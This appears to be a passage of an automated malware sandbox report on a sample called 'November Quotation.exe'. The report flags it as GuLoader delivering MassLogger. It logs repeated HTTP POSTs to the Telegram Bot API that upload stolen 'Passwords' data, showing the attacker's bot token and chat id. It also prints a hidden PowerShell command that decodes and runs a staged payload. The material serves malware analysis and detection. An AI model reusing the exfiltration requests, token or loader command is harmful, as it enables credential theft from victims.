2024-11-25 12:48:17 UTC	576	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 34 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 33 35 38 33 38 38 30 36 31 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 32 38 33 38 38 33 38 34 32 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 5a 65 63 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 65 63 6f 5f 53 70 69 72 69 74 75 61 6c 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 Data Ascii: {"ok":true,"result":{"message_id":648,"from":{"id":7358388061,"is_bot":true,"first_name":"SpiritualUdemba","username":"SpiritualUdembabot"},"chat":{"id":6283883842,"first_name":"Spiritual","last_name":"Zeco","username":"zeco_Spiritual","type":"private"},"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49977	149.154.167.220	443	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:48:20 UTC	293	OUT	POST /bot7358388061:AAGqNbhvBub1VsNRNZAi8PtsoPKvVefq8k8/sendDocument?chat_id=6283883842&caption=user%20/%20Passwords%20/%208.46.123.75 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd0ec7800118d6 Host: api.telegram.org Content-Length: 1089 Connection: Keep-Alive
2024-11-25 12:48:20 UTC	1089	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 30 65 63 37 38 30 30 31 31 38 64 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd0ec7800118d6Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-11-25 12:48:20 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:48:20 GMT Content-Type: application/json Content-Length: 576 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:48:20 UTC	576	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 34 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 33 35 38 33 38 38 30 36 31 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 32 38 33 38 38 33 38 34 32 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 5a 65 63 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 65 63 6f 5f 53 70 69 72 69 74 75 61 6c 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 Data Ascii: {"ok":true,"result":{"message_id":649,"from":{"id":7358388061,"is_bot":true,"first_name":"SpiritualUdemba","username":"SpiritualUdembabot"},"chat":{"id":6283883842,"first_name":"Spiritual","last_name":"Zeco","username":"zeco_Spiritual","type":"private"},"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49985	149.154.167.220	443	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:48:23 UTC	293	OUT	POST /bot7358388061:AAGqNbhvBub1VsNRNZAi8PtsoPKvVefq8k8/sendDocument?chat_id=6283883842&caption=user%20/%20Passwords%20/%208.46.123.75 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd0ef14330ed3d Host: api.telegram.org Content-Length: 1089 Connection: Keep-Alive
2024-11-25 12:48:23 UTC	1089	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 30 65 66 31 34 33 33 30 65 64 33 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd0ef14330ed3dContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-11-25 12:48:24 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:48:24 GMT Content-Type: application/json Content-Length: 576 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:48:24 UTC	576	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 35 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 33 35 38 33 38 38 30 36 31 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 32 38 33 38 38 33 38 34 32 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 5a 65 63 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 65 63 6f 5f 53 70 69 72 69 74 75 61 6c 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 Data Ascii: {"ok":true,"result":{"message_id":650,"from":{"id":7358388061,"is_bot":true,"first_name":"SpiritualUdemba","username":"SpiritualUdembabot"},"chat":{"id":6283883842,"first_name":"Spiritual","last_name":"Zeco","username":"zeco_Spiritual","type":"private"},"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49996	149.154.167.220	443	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:48:27 UTC	293	OUT	POST /bot7358388061:AAGqNbhvBub1VsNRNZAi8PtsoPKvVefq8k8/sendDocument?chat_id=6283883842&caption=user%20/%20Passwords%20/%208.46.123.75 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd0f1d5bb4e543 Host: api.telegram.org Content-Length: 1089 Connection: Keep-Alive
2024-11-25 12:48:27 UTC	1089	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 30 66 31 64 35 62 62 34 65 35 34 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd0f1d5bb4e543Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-11-25 12:48:27 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:48:27 GMT Content-Type: application/json Content-Length: 576 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:48:27 UTC	576	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 35 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 33 35 38 33 38 38 30 36 31 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 32 38 33 38 38 33 38 34 32 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 5a 65 63 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 65 63 6f 5f 53 70 69 72 69 74 75 61 6c 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 Data Ascii: {"ok":true,"result":{"message_id":651,"from":{"id":7358388061,"is_bot":true,"first_name":"SpiritualUdemba","username":"SpiritualUdembabot"},"chat":{"id":6283883842,"first_name":"Spiritual","last_name":"Zeco","username":"zeco_Spiritual","type":"private"},"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	50004	149.154.167.220	443	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:48:30 UTC	293	OUT	POST /bot7358388061:AAGqNbhvBub1VsNRNZAi8PtsoPKvVefq8k8/sendDocument?chat_id=6283883842&caption=user%20/%20Passwords%20/%208.46.123.75 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd0f4e57a81a2b Host: api.telegram.org Content-Length: 1089 Connection: Keep-Alive
2024-11-25 12:48:30 UTC	1089	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 30 66 34 65 35 37 61 38 31 61 32 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd0f4e57a81a2bContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-11-25 12:48:31 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:48:31 GMT Content-Type: application/json Content-Length: 576 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:48:31 UTC	576	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 35 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 33 35 38 33 38 38 30 36 31 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 32 38 33 38 38 33 38 34 32 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 5a 65 63 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 65 63 6f 5f 53 70 69 72 69 74 75 61 6c 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 Data Ascii: {"ok":true,"result":{"message_id":652,"from":{"id":7358388061,"is_bot":true,"first_name":"SpiritualUdemba","username":"SpiritualUdembabot"},"chat":{"id":6283883842,"first_name":"Spiritual","last_name":"Zeco","username":"zeco_Spiritual","type":"private"},"

Target ID:	0
Start time:	07:46:27
Start date:	25/11/2024
Path:	C:\Users\user\Desktop\November Quotation.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\November Quotation.exe"
Imagebase:	0x400000
File size:	778'344 bytes
MD5 hash:	EBFE0469CA7E7A5CA4957B72BF4B1A48
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	07:46:27
Start date:	25/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe -windowstyle hidden "$Mendicity=Get-Content -raw 'C:\Users\user\AppData\Local\sognenes\iconograph\Saddelknapperne.Srv';$Umiskendelighed=$Mendicity.SubString(5275,3);.$Umiskendelighed($Mendicity) "
Imagebase:	0xe40000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.1865707382.000000000A569000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	07:46:27
Start date:	25/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	07:47:20
Start date:	25/11/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\msiexec.exe"
Imagebase:	0x140000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000005.00000002.2583646535.0000000024112000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000005.00000002.2561413904.0000000005439000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false